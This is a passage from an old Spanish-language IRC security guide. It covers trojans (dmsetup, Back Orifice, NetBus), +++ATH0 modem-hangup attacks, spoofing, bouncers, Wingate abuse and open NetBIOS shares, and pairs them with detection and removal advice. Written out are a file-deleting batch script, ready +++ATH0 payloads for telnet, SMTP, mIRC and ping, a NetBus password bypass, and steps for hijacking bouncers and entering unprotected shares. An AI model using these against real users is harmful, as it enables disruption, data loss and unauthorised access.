55 de la víctima. Existe una variante, llamada "boink", que
barre un rango de puertos, pero el fundamento es el mismo y no creo que
merezca la pena plasmar aquí el fuente.
Consiste en mandar
paquetes incorrectos de forma que el kernel víctima produzca los
correspondientes mensajes de error, que normalmente son logeados en fichero.
Se consigue pues llenar el disco duro o la consola de la víctima
con mensajes de este tipo.
En el caso del IRC lo que se hace usualmente es mandárselo a la víctima vía DCC. Cuando ésta ejecuta el programa se ve infectada o le ocurre algo pernicioso }:-).
Para que se entienda el concepto: imaginad que yo creo un fichero llamado "sorpresa.bat" con lo siguiente:
@echo
off
del c:\autoexec.bat
del c:\config.sys
echo Sorpresa...
Ahora se lo envío a alguien y éste lo ejecuta. Entonces se le borrarían los ficheros de arranque };-)
Esto que se ve tan simple se puede implementar de forma mucho más elaborada creando un .exe de forma que en principio no podemos saber lo que hace el programa internamente hasta que lo ejecutamos.
Solución: como normal general no acepteis ficheros ejecutables de extraños, o por lo menos, no los ejecuteis. Si os van a pasar algún programa extraño es aconsejable que os pasen el source para que se le pueda echar un vistazo al programa, asegurarnos de que no hace "cosas raras" y entonces compilarlo nosotros mismos. Esto último es lo más seguro.
Se trata del fichero de configuracion principal del cliente mIRC. Es muy potente porque permite scripting, o sea, crearte tus propios comandos a medida y automatizar tareas.
Algunos graciosos se
dedican a pasar por DCC una versión "modificada" (troyana) que circula
por ahí y que entre otras cosas añade ciertos comandos para
que remotamente un intruso pueda hacerte cosas en tu ordenador. Sólo
funcionará si se consigue que el archivo troyano reemplace al archivo
mirc.ini
original, lo cual tampoco es fácil ya que tendríamos que
tener configurado nuestro mIRC para que la zona de download apunte al directorio
"raiz" de mIRC (de forma que el fichero recibido por DCC vaya al directorio
donde se encuentran los ejecutables y ficheros de configuración
de mIRC) y además aceptar el DCC (o tener activada la opción
de "auto-get", o sea, de aceptar automáticamente los DCC's,
cosa que no aconsejo en absoluto).
Solución: no uses el "auto-get" ni aceptes ficheros de extraños o que no sepas bien lo que hacen.
Este troyano se copia a sí mismo en diversos lugares del disco duro, crea su propio mirc.ini / script asociado, y se añade a un fichero de sistema, para que no pueda ser eliminado fácilmente. El script lo único que hace es mandar el fichero troyano ("dmsetup.exe") a todo el que entra en nuestro canal, aparte de provocarnos un /quit del servidor IRC al escuchar cierta palabra clave.
Los pasos que lleva a cabo el troyano dependen de la unidad en que tengamos instalado el mIRC:
A) Unidad C:
(es decir, si tienes c:\mirc\)
La primera vez que "dmsetup.exe" se ejecuta:
1. Se copia a sí mismo
en:
c:\
c:\mirc
c:\windows
c:\program files
2. Crea c:\configg.sys.
3. Añade una linea
con "dmsetup" en el fichero "autoexec.bat"
4. Copia "mirc.ini" a "backup0412.ini"
5. Crea "mirc.ini" y "mircrem.ini"
6. Da un error de tipo 0
(para que pienses que el download está roto).
Las siguientes veces que se ejecuta "dmsetup.exe" hace los mismos pasos, excepto 2 y 3, debido a la existencia del fichero "configg.sys".
+ Para eliminar el troyano de un sistema infectado:
1. Hacer "unload" del fichero
"mircrem.ini".
2. Abrir "c:\autoexec.bat"
con el bloc de notas, y quitar la linea "dmsetup". Grabar y salir.
3. Borrar:
c:\dmsetup.exe
c:\configg.sys
c:\mirc\dmsetup.exe
c:\mirc\mircrem.ini
c:\mirc\backup0412.ini
c:\windows\dmsetup.exe
c:\progra~1\dmsetup.exe
B) Otra unidad que no es C:
El troyano sigue los pasos 1 a 3 de arriba, y después devuelve un error de tipo 1. Aunque al no existir c:\mirc, el paso 1 varía un poco: el troyano se copia precisamente a esta localización (cambia de nombre). Como no modifica el fichero "mirc.ini", no sabremos en principio que estamos infectados (hasta que cambiemos nuestro mIRC de unidad).
- - -
Todo esto ha sido el funcionamiento de la versión original de este troyano. Sin embargo, se han sucedido nuevas versiones del mismo, cuyas actuaciones y modos de proceder varían. A continuación, veremos los síntomas que padecerá un usuario infectado con las diferentes versiones, para que podamos identificarlas.
* Original:
- distribuye "dmsetup.exe",
de unos 57,556 bytes.
- algunas veces resulta
en un username de una sola letra, como "s".
- crea "dmsetup.exe" en
varios sitios, como c:\, c:\mirc, c:\windows, c:\program files.
- crea el fichero "c:\configg.sys".
- añade una linea
de referencia a "dmsetup" al fichero "autoexec.bat".
- si tu mIRC está
en C:, crea c:\mirc\mircrem.ini y c:\mirc\backup0412.ini .
* 2ª variante:
- el nombre del fichero que
se distribuye varía, siendo de unos 81,084 bytes.
- la barra de título
de mIRC dice "your mirc is buggy".
- crea "filename.ini".
- crea la linea "filename
-inauto" en el "autoexec.bat".
- crea c:\ni.cfg, bakupwrks.ini.
- crea dos carpetas en el
directorio de download del mIRC: "_dm2yif" y "suck_it".
* 4ª variante:
- el nombre del fichero que
se distribuye varía, siendo de unos 81,084 bytes (llamémosle
"loquesea.exe").
- la barra de título
de mIRC dice "your mirc is buggy".
- crea "loquesea.ini", c:\mirc\loquesea.ini,
c:\ni.cfg, c:\mirc\bakupwrks.ini y c:\mirc\mircrem.ini (nota: "loquesea"
puede ser cualquier cadena de caracteres).
- crea la linea "loquesea
-inauto" en c:\autoexec.bat.
- crea dos carpetas en el
directorio de download del mIRC. El nombre de las carpetas varía,
pero si intentas borrarlas no te dejará y te dirá que la
carpeta está vacía.
- si el usuario intenta
entrar en un canal de ayuda, automáticamente saldrá del canal.
- "loquesea.exe" será
instalado en: C:\, c:\mirc, C:\windows, c:\windows\system, C:\games, C:\doom,
c:\doom2, c:\quake, c:\quake2, y c:\picsd. Si estos directorios no existen,
en su lugar se creará un fichero con ese nombre (quake, doom, doom2,
étc).
* 5ª variante:
- muy parecida a la 4ª
variante explicada más arriba, excepto que puede ser distribuída
como "loquesea.jpg.com", que desde Win95/98 se ve sólo como "loquesea.jpg".
De esta forma, el usuario cree que se trata de un dibujo.
- distribuye "loquesea.jpg.com",
de unos 80 Kbytes.
- crea una copia de sí
mismo llamada C:\Windoom.exe y C:\Windows\Freeporn.exe.
- crea un fichero llamado
"taged.lmr", que contiene una sóla línea: "Ni!" (mirar la
linea n41 de pusysex.ini).
- copia dos lineas al final
de "c:\autoexec.bat".
- crea los siguiente ficheros
en el directorio del mirc.ini: remote.ini, var.ini y Buttfuck.ini.
- si el usuario intenta
entrar en un canal de ayuda (excepto #mirc), éste será expulsado
del servidor (/quit).
- crea sobre unos 200 directorios
en C:\.
- crea aproximadamente 20,000
directorios en C:\program files (C:\progra~1), dependiendo del espacio
libre que tengas en el disco duro.
- crea un nuevo mirc.ini
en C:\mirc y hace backup del viejo como bakupwrks.ini.
También conocida como "BO", por sus iniciales, es una herramienta escrita por el grupo "Cult of the Dead Cow" que permite la administración remota de una máquina con Windows 95 / 98. Respetando el tradicional esquema cliente / servidor, el programa servidor es instalado en la máquina a administrar y el cliente desde otra máquina puede enviar comandos al servidor de forma que se obtiene un control total sobre la primera máquina: podemos ejecutar comandos, listar ficheros, arrancar servicios de forma transparente, compartir directorios, subir y bajar ficheros, manipular el registro, matar o listar procesos, étc.
La página oficial
del BO es:
http://www.cultdeadcow.com
El problema viene cuando un atacante se las ingenia para que una posible víctima instale el software servidor en su máquina, sin darse cuenta, al más puro estilo troyano. Esto es posible si por ejemplo el atacante le envía a la víctima el programa 'boserver.exe" renombrado a digamos "antinuke.exe", y ésta, inocentemente, lo ejecuta creyendo que se trata del último y fabuloso programa anti-nuke ;-). A partir de ese momento, el ordenador de la víctima se encuentra "infectado" con lo que técnicamente se denomina un "back-door" ("puerta trasera"), y el atacante o cualquiera que tenga el cliente de BO (y que sepa o adivine ciertos datos acerca de la configuración del servidor) podrá acceder al ordenador de la víctima. Se trata de un grave problema de seguridad.
Cuando ejecutamos el
programa servidor, se instala el back-door, siguiendo los siguientes
pasos:
- se copia el programa servidor
en el directorio de sistema de Windows (normalmente "c:\windows\system")
con el nombre especificado por el usuario (/atacante).
- se crea una entrada de
registro en "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
apuntando al nombre de fichero del servidor referido anteriormente y con
una descripción de "(Default)" o bien la que haya especificado
el usuario (/atacante).
- el servidor comenzará
a escuchar el puerto 31337 UDP o el especificado por el usuario
(/atacante), atendiendo a las peticiones del cliente (/atacante). El protocolo
usado utiliza una débil encriptación, fácil de romper.
* Cómo detectarlo: accedemos a la entrada del registro arriba nombrada, usando 'regedit.exe', y buscamos un servicio que no hayamos instalado nosotros. Si el fichero al que apunta es de una longitud aproximada de 124,928 bytes, entonces es posible que se trate de BO.
Otra forma es usar el comando "netstat":
C:\WINDOWS>netstat
-an | find "UDP"
UDP 0.0.0.0:31337
*:*
* Cómo eliminarlo:
simplemente tenemos que borrar tanto el programa servidor del directorio
de sistema de Windows como la entrada del registro que apunta hacia él
(anteriormente mencionada). Teneis instrucciones aquí:
http://www.nwi.net/~pchelp/bo/bo.html
* También existen
diversos programas que detectan y/o eliminan el BO, aunque hay que
tener cuidado con ellos porque muchos no son más que nuevos troyanos
(ej.: "BOsniffer.zip" o "*.exe"). La manera más fácil
y cómoda de detectar / eliminar este back-door es usando
un anti-virus actualizado, como puede ser el "AntiViral Toolkit
Pro" (AVP):
http://www.avp.ru/
(página
oficial)
http://www.ontinet.com/avp/avp.htm(versión
en castellano)
* Cómo determinar la configuración de un BO instalado: ver el fichero del servidor usando un editor de texto (como el "Bloc de notas"). Si la última linea del fichero es '8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8' entonces está usando la configuración por defecto. En caso contrario, la configuración estará en las últimas lineas del fichero, en este orden:
<nombre
del fichero>
<descripción
del servicio>
<número
de puerto>
<password>
<información
sobre plug-in adicional>
* Plug-in's: se trata de código que añade funcionalidad extra al servidor. Se conocen como "BUTTplugs". Así por ejemplo existe un plug-in que hace que la víctima conecte secretamente a un servidor y canal (ej.: #bo_owned en EFNET) de IRC dado, anunciándose ante los demás usuarios del canal como infectados. De esta forma, el atacante puede conectar a dicho servidor y canal de IRC (que se supone previamente conocido), y encontrarse las IP's de numerosas víctimas.
Algunos plug-in's conocidos:
- Speakeasy: es el
comentado del IRC.
- Silk Rope: enlaza
el BO a casi cualquier programa existente.
- Saran Wrap: esconde
el BO dentro de un programa instalador estándar "InstallShield".
- Butt Trumpet: manda
al atacante un email con la dirección
IP de la máquina
víctima, una vez que BO se ha instalado.
Aquí podeis
encontrar los últimos plug-in's:
http://www.cultdeadcow.com/tools/bo_plugins.html
* Últimamente se han descubierto evidencias que nos inclina a pensar que también el programa cliente del BO puede ser un back-door en favor de los creadores del programa. Si monitorizamos el tráfico de red mientras corremos este programa (con un "netstat", sin ir más lejos) se puede observar que se abre una conexión hacia el puerto 80 (httpd) del site de los creadores del programa, lo que en principio parece no tener demasiado sentido en lo que respecta a las funciones del cliente.
Se trata de una herramienta similar al BO, en ciertos aspectos incluso más avanzada, ya que aparte de soportar todas las funciones del BO, presenta funcionalidades extra como pueden ser abrir/cerrar la unidad de CDROM, mandar cuadros de diálogo interactivos para poder hacer chat con el sistema comprometido o escuchar el micrófono de dicho sistema. Funciona en Windows 95 / 98 / NT.
Esta es la página
oficial del programa:
http://members.spree.com/SIP/NetBus/
NetBus escucha
los puertos 12345 y 12346 de TCP. No usa encriptación
y los comandos tienen el siguiente formato:
<Comando>;<Arg1>;<Arg2>;...;<Argn>
Por defecto, el servidor NetBus se llama "Patch.exe". Es posible ponerle password, el cual se guardaría sin cifrar en la entrada de registro "HKEY_CURRENT_USER\Patch\Settings\ServerPwd". El cliente se autentificaría mandando una cadena con el formato "Password;0;mi_password", aunque si en vez de un 0 ponemos un 1, conseguiremos autentificarnos con cualquier password. Esto es un back-door que contiene el propio programa.
* Cómo detectarlo:
C:\WINDOWS>netstat
-an | find "12345"
TCP 0.0.0.0:12345
*:*
* Cómo eliminarlo: hay diferentes formas para hacerlo, dependiendo de la versión de que se trate.
Versión 1.5x:
http://members.spree.com/NetBus/remove_1.html
Versión 1.6:
http://members.spree.com/NetBus/remove_2.html
Para esta última
versión, también es posible eliminarlo remotamente haciendo
telnet
al puerto 12345 y mandando lo siguiente (sin las comillas):
"Password;1;"<Enter>"RemoveServer;1"<Enter>
Esto último funciona incluso existiendo password, aunque no se borra el fichero .exe, lo que deberá hacerse manualmente.
* Al igual que ocurría
con el BO, lo más cómodo para detectar / eliminar
este back-door es usar un anti-virus actualizado, como puede
ser el "AntiViral Toolkit Pro"
(AVP).
* Ejemplo:
Atacante:
/nick com1
/msg victima Oye,
¿estás ahí?
Víctima:
/msg com1 Sí,
dime.
(ahora si todo va bien se le habrá colgado el ratón, que es el dispositivo que suele estar en com1).
Atacante:
/nick com2
/msg victima ¿Me
respondes o no?
Victima:
/msg com2 ¡Ya
lo he hecho antes!
(ahora se habrá quedado
sin conexión, puesto que com2 suele ser normalmente el modem).
* La mejor forma de evitar
este ataque es tener un cliente mínimamente actualizado. Otra posible
manera es ignorar los mensajes del atacante, para no caer en tentación
:-). Por ejemplo, poniendo en /ignore a com1!*@*, com2!*@*,
étc.
Para comprender su funcionamiento hay que explicar antes algo sobre modems. Vamos a ello.
La mayoría de modems usan un juego de comandos conocido como "Hayes". A través de estos comandos se puede enviar cualquier orden interna al modem o incluso configurarlo. Un comando-ejemplo muy conocido es "ATDTxxxxxx", que le indica al modem que marque por tonos el número xxxxxx.
El comando que nos será de utilidad ahora será "ATH0". La respuesta del modem a este comando es que rompe la conexión actual, o sea, "cuelga el teléfono". Si logramos que la víctima mande ese comando a su propio modem, éste desconectará. Esa es la idea.
Para que el modem entienda que los datos que se le está mandando son comandos, éste debe estar en lo que se conoce como "modo de comandos". Sin embargo, nosotros vamos a intentar mandar el comando estando el modem ya conectado al ISP y funcionando, por lo que éste no está en principio aceptando comandos sino "datos". Tenemos que, de alguna forma, forzar a que el modem entre en el modo de comandos. Para ésto, basta con lanzar una secuencia de "códigos de escape". Esta secuencia o evento fuerza a que se conmute al modo de comandos, de forma que los datos que vengan a continuación el modem los entiende como comandos. El código de escape está definido en el registro S2 del modem y por defecto, es el 43 ("+"), de forma que la secuencia para entrar en modo de comandos es "+++". Detrás iría el comando a lanzar, que según lo visto, va a ser un "ATH0". Así y con todo, la cadena de caracteres completa que la víctima debe enviar a su modem queda como "+++ATH0", que es el nombre que usualmente se da al ataque.
Visto ésto, queda por saber cómo podemos aprovecharnos de esta característica. ¿Cómo podemos lograr que la víctima mande esa cadena a su propio modem?
Basándonos en que el protocolo PPP, que es el normalmente usado para conectar por modem a nuestro ISP, por defecto no comprime los paquetes IP que viajan sobre él, si la víctima manda un paquete IP de datos hacia el exterior que contenga la cadena "+++ATH0", lo que ocurrirá es que dicho paquete se encapsulará en una o varias tramas PPP, y dichas tramas se enviarán hacia el modem, para que éste las transmita por la linea telefónica, pasando la cadena "+++ATH0" de forma transparente a través del modem. Entonces el modem interpretará el "+++" como la secuencia de escape y ejecutará el comando "ATH0", que viene a continuación, que obliga al modem a desconectar.
Desde el punto de vista del atacante, para forzar a que la víctima mande la cadena "+++ATH0", hay muchas maneras posibles. Veamos unos ejemplos.
* Ejemplo 1:
[maquina@atacante]$
telnet 192.168.1.1 21
Trying
192.168.1.1...
Connected
to 192.168.1.1.
Escape
character is '^]'.
220
foo FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Dec 12
20:41:
USER
+++ATH0
^]
telnet>
close
Connection
closed.
[maquina@atacante]$
telnet 192.168.1.1 21
Trying
192.168.1.1...
telnet:
Unable to connect to remote host: Network is unreachable
[maquina@atacante]$
La explicación
es simple. Hemos hecho un ftp via
telnet. Cuando nos ha preguntado
el usuario, le hemos dicho que era "+++ATH0". Acto seguido el servidor
ftp, o sea, la víctima, debió responder con algo como "331
Password required for +++ATH0.". Vemos que la víctima ha mandado
sin querer la temida cadena para que el modem cuelgue ;-).
* Ejemplo 2:
Conectamos al puerto
25 ("sendmail") de la víctima y le mandamos:
HELO
blah.com
VRFY
+++ATH0
La víctima mandaría
la maléfica cadena en una respuesta como:
550
+++ATH0... User unknown
* Ejemplo 3:
Desde mIRC:
//raw
NOTICE NickVictima : $+ $chr(1) $+ PING +++ATH0 $+ $chr(1)
* Ejemplo 4:
[maquina@atacante]#
ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
PATTERN:
0x2b2b2b415448300d
PING
xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes
---
xxx.xxx.xxx.xxx ping statistics ---
5
packets transmitted, 0 packets received, 100% packet loss
[maquina@atacante]#
La opción "-p" permite especificar un "pattern" que servirá para rellenar el paquete de ping ("ICMP ECHO_REQUEST"). La víctima responderá con un "ICMP ECHO_REPLY", conteniendo el mismo pattern. El pattern está codificado en hexadecimal y se traduce como "+++ATH0<CR>". No todos los programas de ping soportan esta opción.
* Nota: en todos los casos, el atacante también envía la cadena "+++ATH0", por lo cual si éste es vulnerable, su modem caerá y el ataque se habrá vuelto contra el propio atacante.
* Modems vulnerables: no todos los modems son vulnerables a este ataque. Los modems "buenos", o sea, que soportan "Hayes" estrictamente (la patente) no son vulnerables. Esto es porque la norma especifica que después de recibir la secuencia de escape y antes de ningún comando, debe pasar un intervalo de tiempo "vacío" de 1 seg. Lógicamente, en nuestro ataque va todo (secuencia + comando) seguido, sin pausa, por lo que el ataque no sería efectivo. Un ejemplo de modem no vulnerable es el US Robotics.
Sin embargo, hay otros muchos modems que no siguen la patente; en particular, parece que todos aquellos que contienen el chipset Rockwell, que son bastante frecuentes hoy en día. Ejemplo: Diamond SupraExpress 56k.
* En todo caso, una forma de protegerse es deshabilitar la entrada manual al modo de comandos. Esto se hace cambiando el código de escape (que por defecto es un 43 ["+"]), y poniendo un valor de 255. La mayoría de los modems reconocen un valor por encima de 127 como deshabilitador manual del modo de comandos, pero otros necesitan un valor superior. Para estar más seguros, usamos 255. El comando completo sería:
ATS2=255
y se podría introducir en la cadena de inicialización del modem (configurable normalmente en propiedades del modem o en la utilidad de dial-up), de forma que se "ejecute" siempre antes de marcar hacia nuestro ISP.
* También es posible parchear remotamente un host dado usando la misma técnica del "ping -p" vista para atacar:
ping -c 1 -p 2b2b2b415453323d32353526574f310d host
(el pattern usado equivale a: "+++ATS2=255&WO1").
De forma análoga,
podemos mandar otros comandos remotos, provocando, por ejemplo, que el
modem de la víctima marque a donde nosotros queramos, étc.
¡Muy peligroso!
Se trata de "spoofear" (=falsear) la dirección IP de origen de los paquetes que se mandan a la víctima, de forma que ésta crea que el origen de dichos paquetes es otro (el que nosotros le indiquemos). De esta forma protegemos nuestro anonimato, y en general podemos llevar a cabo cualquier acción que se nos pueda ocurrir y que se derive de una falsa dirección source (origen). Por ejemplo, podemos nukear a alguien, con la dirección fuente de otro, haciendo creer a la víctima (si ésta tiene un analizador de paquetes o algo parecido) que es el otro el que le está atacando }:-).
El spoofing es (o podría ser) una funcionalidad más del programa de ataque (del nuker, del ping, ...). Como consiste en manejar IP desde un muy bajo nivel en muchos casos se requieren privilegios especiales. Por ejemplo, en el caso de máquinas Unix, se necesita abrir "raw sockets" y ésto requiere de privilegios de superusuario (root).
Para los interesados en el tema os remito a las siguientes direcciones:
* IP-spoofing Demystified
Trust-Relationship Exploitation by daemon9 / route / infinity
http://www.fc.net/phrack/files/p48/p48-14.html
* IPSPOOF.C (Spoofing source)
http://www.ilf.net/Toast/files/unix/ipspoof.c
* This site contains both
spoofing code, an analysis of that spoofing code and a good description
of how to implement such attacks:
http://main.succeed.net/~coder/spoofit/spoofit.html
Host A <---> Bouncer <---> Host B
(1)
(2)
Todos los datos que A tiene para B son enviados al bouncer. Este se encarga de reenviarlos a su destino (B). De igual forma ocurre en el otro sentido. El bouncer actúa de elemento redireccionador en ambos sentidos.
La máquina intermedia corre un programa especial (daemon) llamado "bouncer". A menudo nos referiremos también con el mismo término a la máquina intermedia (i.e. la que corre el soft especial), de la misma forma que se ha asumido al dibujar el esquema. Dicho programa usa dos puertos TCP previamente definidos, uno por cada conexión (A<->Bouncer, Bouncer<->B), y hace de pasarela entre ellos (tal y como se ha explicado). Por tanto, mantiene por separado dos conexiones TCP diferentes pero las "enlaza" de forma que en su conjunto parezca una única conexión TCP (de ahí lo de "virtual") entre A y B.
La ventaja que ésto conlleva es que ocultamos nuestra identidad a los ojos de B, ya que éste solo ve la comunicación que mantiene con el host intermedio (2) (y no tiene por qué saber que se trata de un host haciendo de bouncer).
A esta técnica
se le puede dar diferentes usos, todos ellos basándonos en la principal
ventaja descrita en el párrafo anterior. En lo que al IRC concierne
es ampliamente usada para saltar bans o K/G-Lines. Lo vemos con un ejemplo.
Supongamos que nosotros somos el host A y que no podemos entrar a ningún
servidor (B) de una red IRC por estar baneados permanentemente. ¿Qué
hacer? Pues hacemos uso de una shell en otro host (que va
a ser el intermedio) y colocamos allí un bouncer. Al programa,
que se quedará corriendo en segundo plano (background), le
tenemos que dar dos datos: el puerto que estará permanentemente
escuchando (por donde recibirá nuestra conexión) y el host
y puerto destino (a donde intentará conectarse) correspondientes
a B. Ahora, cuando queramos conectarnos al IRC lo hacemos al primero de
los puertos predefinidos (correspondiente al host que alberga el bouncer).
Automáticamente el bouncer redireccionará nuestra petición
hacia B (el servidor IRC) y estaremos dentro (¡saltándonos
el ban o lo que sea!) ya que hemos llegado a través de un host que
no tenía ningún
ban. A todos los efectos el servidor
IRC cree que nuestro host es el bouncer. Así, al hacernos cualquier
otro usuario un /whois ¡verá el hostname del bouncer!
(ésto es otra ventaja ya que no nos pueden mandar ataques como OOB's
o Sspings, por no saber nuestra verdadera dirección IP). Es una
buena forma de garantizar nuestro anonimato =).
Hay que tener en cuenta
que un bouncer es algo fácil de "robar":
1.- Exploramos la red IRC
en busca de algún usuario que esté usando bouncer.
Para ello basta con hacer /whois a distintos usuarios y fijarnos
en el hostname que nos sale. Podemos asumir que presumiblemente
se trata de un bouncer si es una IP fija (alguna máquina
de una universidad, por ejemplo) y al hacer /finger @host no vemos
ningún usuario conectado. Esto último no siempre se puede
ver ya que muchos hosts deshabilitan este servicio por el potencial problema
de seguridad que puede acarrear.
2.- Hacemos un PortScan
a dicho host (se van mandando sucesivas peticiones de conexión
TCP a los distintos puertos de la víctima, recorriendo el rango
de puertos deseado, y a la vez escuchando las respuestas que nos llegan;
sólo contestarán los puertos "activos" así que es
una manera de ver los puertos abiertos que tiene una máquina).
3.- Normalmente un bouncer
se coloca en los puertos no privilegiados (es decir, a partir del 1024),
típicamente en el rango 1024 a 10000, por decir algo, aunque en
realidad en principio no hay ninguna restricción en cuanto al número
de puerto usado. Así que podemos seleccionar a ojo unos cuantos
puertos que son candidatos posibles a bouncer :).
4.- Intentamos conectarnos
a dichos puertos con nuestro cliente IRC habitual y vemos si alguno/s lo
hace/n.
5.- Si conseguimos entrar
al IRC por alguno de esos puertos ya tenemos bouncer =).
Uno de los bugs que tiene es que permite acceso vía puerto 23 (telnet) sin pedir password y desde ahí se puede saltar a cualquier otra máquina. Es decir, podemos usar Wingate para hacer bouncing sin necesidad de preocuparnos de buscar o hackear una shell de por ahí =). ¿Cómo hacerlo?
A continuación teneis un ejemplillo práctico, que funciona desde cualquier cliente IRC que soporte la introducción de comandos "raw" (nos permita mandar comandos "directos" al server). Esto se hace en mIRC con el mandato "/quote" o desde BitchX con "/raw". Las siguientes lineas de código funcionan perfectamente desde mIRC (y son fácilmente portables a otros clientes sin más que cambiar los mandatos "/quote" por otros similares, como "/raw"):
1.-/server <ip_wingate> 23
[Conectamos nuestro cliente IRC al wingate. El cliente iniciará el handshake automáticamente, es decir, mandará los comandos NICK y USER basados en los datos de configuración de dicho cliente IRC. Estos comandos no son "entendidos" por wingate -ya que éste espera un hostname y no ningún comando- y generan los correspondientes errores. Es interesante ver los comandos que nuestro cliente manda ;-)]
2.- /quote irc.servidor.org 6667
[*Wingate espera un hostname a donde saltar, así que se lo mandamos*. Veremos el mensaje de bienvenida del servidor de IRC. Dicho servidor IRC se queda a la espera de "autentificación".]
3.-/quote NICK RoMaNSoFt
[Comenzamos la identificación. Le mandamos el nickname. En este punto el servidor IRC responde con "PING PONG" ;-)]
4.- /quote USER RoMaNSoFt RoMaNSoFt host RoMaNSoFt :IRT rlz
[Terminamos la autentificación mandando el username y campo de info sobre el usuario ("realname"). Todo lo demás (host, server), aunque hay que mandarlo, no aporta info relevante al servidor, ya que esta info se usa en conexiones server-server. Un server no debe tragarse lo que el cliente le diga acerca de su hostname: sería un spoofing muy fácil, ¿no? :-)
A partir de aquí ya estaríamos dentro del IRC. Por tanto, la cosa ha sido tan fácil como encontrar algún host que corra Wingate (que los hay).
También hay otro bug que te permite el acceso al HD del host corriendo Wingate aunque no será materia de este artículo al no tener nada que ver con el IRC. Busca en páginas de hack :-P.
Solución:
aparte de usar siempre la última versión de Wingate,
aconsejo mejor usar otras alternativas más eficientes, menos peligrosas
y más baratas como puede ser un Linux corriendo IP-masquerade.
La explicación detallada es compleja y excede los objetivos de este documento. A título informativo paso a esbozar o perfilar lo que sería el Inject.
Cada servidor (ya sea de IRC, ftp, étc) tiene asociado uno o más "servidores de nombres" (NS, del inglés: Name Server) que resuelven todas las peticiones de conexión que le llegan: para cada IP que peticiona conexión buscan y almacenan el hostname correspondiente para su posterior uso. El proceso sería el siguiente:
- un usuario de la
máquina A intenta conectarse a un puerto de la máquina B
(el servidor IRC, ftp, ...).
- B recibe la dirección
IP desde la que peticionamos (la de A) y se la entrega a C (otro host:
el NS) para que la resuelva.
- C resuelve y devuelve
su respuesta a B.
- B se "cree" la respuesta
y la cachea en memoria. Ahora tiene un par IP-hostname. A partir
de este momento nosotros estamos identificados en el servidor con el hostname
dado anteriormente por el NS.
Como se puede intuir el truco está en forzar al NS a que de una respuesta falsa (siempre en favor nuestro :-)). Digamos que modificamos los datos del NS para que responda a nuestra IP con el hostname que nosotros queremos y no con el que debería hacerlo realmente. Se dice que hemos "inyectado" (injectado, en inglés :-P) el NS.
El cómo hacer esto último es lo complicado y sólo voy a decir que el truco se basa en la "resolución recursiva" de los NS (cuando un NS no sabe la respuesta a la petición que le ha llegado lanza una nueva petición a otro NS, que posiblemente sí sepa la respuesta, y así sucesivamente --> de ahí la "recursividad") y en tener finalmente un NS trucado que de respuestas falsas y que nosotros reprogramamos a nuestro gusto.
La principal ventaja
es una vez más el anonimato (aparte de poder ir vacilando por el
IRC con una identidad del tipo root@nasa.gov :-O).
Los problemas vienen cuando este servicio está disponible "públicamente" sin contraseña de acceso: nuestro disco duro estará "abierto al público" }:-). Cualquier hacker podrá leer ficheros nuestros, borrarlos, introducir troyanos... en fín, nada bueno.
Un gran fallo de Windows 95 (corregido en versiones posteriores, creo que a partir del OSR2) es que los recursos no tienen password por defecto con lo cual si activamos Netbios, ya sea para utilizarlo o por descuido, y se nos olvida proteger los recursos con password tendremos un gran agujero de seguridad en nuestra máquina. Esto no ocurre así en Windows 98 ni Windows NT.
A pesar de que este problema es ampliamente conocido todavía se ve por el IRC a mucha gente con su disco duro compartido (¡pobres... y ellos sin saberlo!).
Los pasos para ver si una máquina (IP) dada comparte recursos y para utilizarlos son, *desde Windows NT*, los siguientes:
1.- Asegurarnos de que tenemos
el soporte Netbios instalado.
2.- Desde el shell (command.com,
ndos,
4dos, étc) hacer:
c:\> nbtstat -A 195.69.69.69
Notas:
- la IP dada se supone que
es la de la víctima
- es importante poner -A
y no -a
- no vale un hostname,
sólo dirección IP.
3.- Para que tengamos posibilidades deberá salir algo como lo siguiente:
NetBIOS Remote Machine Name Table
Nombre
Tipo Estado
---------------------------------------------
SKORPIO
<03> UNIQUE Registrado
ADMINISTRADOR
<03> UNIQUE Registrado
SKORPIO
<00> UNIQUE Registrado
INSULTOZ
<00> GROUP Registrado
SKORPIO
<20> UNIQUE Registrado
Dirección
MAC = 00-00-00-00-00-00
Debe haber al menos una entrada de tipo <20> para que tengamos algo que hacer ;-).
4.- Menú Inicio ->
Ejecutar. Introducimos en el cuadro de diálogo:
\\195.69.69.69
5.- Ahora puede que nos aparezca otro cuadro de diálogo solicitándonos contraseña (en cuyo caso en principio no tenemos nada que hacer... aunque podríamos intentar passwords comunes como el nombre o nick de la persona, étc) o bien directamente se abrirá una nueva ventana donde se muestran los recursos compartidos. Pinchando sobre el que queramos tendremos acceso a él.
La solución
a este grave problema de seguridad es tan simple como proteger los recursos
con contraseña o simplemente no activar el servicio Netbios
si no se va a necesitar. También podemos bloquear los puertos que
ofrecen este servicio (en especial el 139) mediante firewall.
Se tienen 2 tipos de
reglas:
- de entrada: afectan
a los paquetes entrantes, es decir, a los que provienen del exterior.
- de salida: afectan
a los paquetes salientes, es decir, que van hacia el exterior.
Otra clasificación
es:
- "accept": si el
paquete cumple los requisitos dados por la regla éste se dejará
pasar.
- "deny" o "ignore":
si el paquete cumple los requisitos dados por la regla éste no se
dejará pasar (se ignorará).
- "reject": si el
paquete cumple los requisitos dados por la regla éste no se dejará
pasar y además se notificará al remitente del paquete el
correspondiente mensaje de error.
Entre otras cosas, lo que caracteriza a un firewall es la flexibilidad a la hora de decidir si un paquete debe atravesar o no el firewall, o lo que es lo mismo, la capacidad de definir y tratar diferentes reglas para reflejar diferentes situaciones.
Las reglas se pueden basar en cualquiera de los campos que pueda tener un paquete: tipo de paquete, longitud, protocolo, dirección origen, dirección destino, étc. También es posible combinar varios de ellos. Por ejemplo, una regla podría ser: "no dejar pasar paquetes IP entrantes provinientes de la subred IP 195.69.69.* y que vayan destinados al puerto 23 TCP". En este caso tendríamos una regla de entrada que bloquea el servicio telnet (habitual del puerto 23).
Además de las funciones de bloqueo, un firewall suele tener funciones añadidas como el logeo de los distintos eventos que ocurran (por ej. "se ha tirado [drop] el paquete proviniente de tal dirección en base a la regla x").
Centrándonos en el tema que nos concierne -el IRC- podemos usarlo por ejemplo para filtrar client icmp-nukes. La idea es añadir una regla de entrada diciendo algo así como "ignorar todos los paquetes ICMP de tipo unprotocol" (en este caso filtraríamos el nuke normal y no otros tipos).
